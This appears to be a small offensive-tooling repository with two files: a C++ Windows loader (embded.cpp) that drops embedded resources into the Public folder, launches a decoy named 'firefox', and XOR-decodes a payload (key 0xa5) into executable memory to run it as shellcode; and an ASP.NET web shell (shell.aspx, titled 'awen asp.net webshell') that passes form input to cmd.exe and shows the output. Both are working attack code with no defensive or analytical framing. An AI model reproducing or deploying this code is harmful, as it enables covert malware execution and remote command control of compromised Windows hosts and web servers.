├── embded.cpp
└── shell.aspx


/embded.cpp:
--------------------------------------------------------------------------------
  1 | #include <iostream>
  2 | #include <Windows.h>
  3 | #include <thread>
  4 | #include "resource2.h"
  5 | #include "resource3.h"
  6 | #define filename1 "c:\\Users\\Public\\file"
  7 | 
  8 | #define filename2 "c:\\Users\\Public\\firefox"
  9 | 
 10 | using namespace std;
 11 | void firefox() {
 12 | 
 13 | 	DWORD num=0;
 14 | 	HRSRC hRes = FindResource( 0, L"#103", L"STRING" );
 15 | HGLOBAL hData = LoadResource( 0, hRes );
 16 | LPVOID data = LockResource( hData );
 17 | DWORD size = SizeofResource(0, hRes);
 18 |   
 19 | HANDLE hFile3 = CreateFileA(filename2,(GENERIC_READ | GENERIC_WRITE), (FILE_SHARE_READ | FILE_SHARE_WRITE), NULL, 1, FILE_ATTRIBUTE_NORMAL, NULL);
 20 | int ret=WriteFile(hFile3,data,size,&num,NULL);
 21 | CloseHandle(hFile3);
 22 | 
 23 | 
 24 | 
 25 | STARTUPINFO si;
 26 | 	PROCESS_INFORMATION pi;
 27 | 	
 28 | 	ZeroMemory( &si, sizeof(si) );
 29 | 	si.cb = sizeof(si);
 30 | 	ZeroMemory( &pi, sizeof(pi) );
 31 | 	if (!
 32 | 	CreateProcess
 33 | 			(
 34 | 
 35 | 			TEXT(filename2),
 36 | 			NULL,NULL,NULL,FALSE,
 37 | 			CREATE_NEW_CONSOLE,
 38 | 			NULL,NULL,
 39 | 			&si,
 40 | 			&pi
 41 | 			)
 42 | 			)
 43 | 		{
 44 | 			cout << "Unable to execute.";
 45 | 		}}
 46 | 
 47 | 
 48 | using namespace std;
 49 | #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
 50 | int main()
 51 | {
 52 | 
 53 | 	DWORD num=0;
 54 | 	HRSRC hRes = FindResource( 0, L"#101", L"STRING" );
 55 | HGLOBAL hData = LoadResource( 0, hRes );
 56 | LPVOID data = LockResource( hData );
 57 | DWORD size = SizeofResource(0, hRes);
 58 |   
 59 | HANDLE hFile3 = CreateFileA(filename1,(GENERIC_READ | GENERIC_WRITE), (FILE_SHARE_READ | FILE_SHARE_WRITE), NULL, 1, FILE_ATTRIBUTE_NORMAL, NULL);
 60 | int ret=WriteFile(hFile3,data,size,&num,NULL);
 61 | CloseHandle(hFile3);
 62 | 
 63 | 
 64 | //int result = system(filename1);	
 65 | 
 66 | 
 67 | 	thread t(firefox);
 68 | 	
 69 | 
 70 | //cout<<result;
 71 | 
 72 |   //text[size] = 0;
 73 |   //FreeResource(hMem)
 74 | 	HANDLE hFile2 = CreateFileA(filename1,(GENERIC_READ | GENERIC_WRITE), (FILE_SHARE_READ | FILE_SHARE_WRITE), NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 75 | 	int size2= GetFileSize(
 76 |     hFile2,
 77 |   NULL
 78 | );
 79 | 	cout<<"in";
 80 | 	//BYTE *buffer=(BYTE *)malloc(size2);
 81 | 
 82 | 	
 83 |     VOID *data2=VirtualAlloc(
 84 |                      NULL, // Next page to commit
 85 |                      size2,         // Page size, in bytes
 86 |                      MEM_COMMIT,         // Allocate a committed page
 87 | 					 0x40);    // Read/write access
 88 |     if (data2 == NULL )
 89 |     {
 90 |        cout<<"VirtualAlloc failed.\n";
 91 | 	}
 92 | 
 93 | 	 ret=ReadFile(hFile2, data2, size2,&num, NULL);
 94 | 	 char *i=(char *)data2;
 95 | 	 for (int t=0;t<size2;t++)
 96 | 		i[t]^=0xa5;
 97 | 
 98 | //__asm{
 99 | 	//jmp P;
100 | 	//};
101 | 	//memcpy(data2, buffer, size2);
102 | 	cout<<"in";
103 | 	int (*func)();
104 |   func = (int (*)()) data2;
105 |   (int)(*func)();
106 |   t.join();
107 | }
108 | 


--------------------------------------------------------------------------------
/shell.aspx:
--------------------------------------------------------------------------------
 1 | <%@ Page Language="C#" Debug="true" Trace="false" %>
 2 | 
 3 | <%@ Import Namespace="System.Diagnostics" %>
 4 | 
 5 | <%@ Import Namespace="System.IO" %>
 6 | 
 7 | <script Language="c#" runat="server">
 8 | 
 9 | void Page_Load(object sender, EventArgs e)
10 | 
11 | {
12 | 
13 | }
14 | 
15 | string ExcuteCmd(string arg)
16 | 
17 | {
18 | 
19 | ProcessStartInfo psi = new ProcessStartInfo();
20 | 
21 | psi.FileName = "cmd.exe";
22 | 
23 | psi.Arguments = "/c "+arg;
24 | 
25 | psi.RedirectStandardOutput = true;
26 | 
27 | psi.UseShellExecute = false;
28 | 
29 | Process p = Process.Start(psi);
30 | 
31 | StreamReader stmrdr = p.StandardOutput;
32 | 
33 | string s = stmrdr.ReadToEnd();
34 | 
35 | stmrdr.Close();
36 | 
37 | return s;
38 | 
39 | }
40 | 
41 | void cmdExe_Click(object sender, System.EventArgs e)
42 | 
43 | {
44 | 
45 | Response.Write("<pre>");
46 | 
47 | Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
48 | 
49 | Response.Write("</pre>");
50 | 
51 | }
52 | 
53 | </script>
54 | 
55 | <HTML>
56 | 
57 | <HEAD>
58 | 
59 | <title>awen asp.net webshell</title>
60 | 
61 | </HEAD>
62 | 
63 | <body >
64 | 
65 | <form id="cmd" method="post" runat="server">
66 | 
67 | <asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
68 | 
69 | <asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
70 | 
71 | <asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
72 | 
73 | </form>
74 | 
75 | </body>
76 | 
77 | </HTML>
78 | 


--------------------------------------------------------------------------------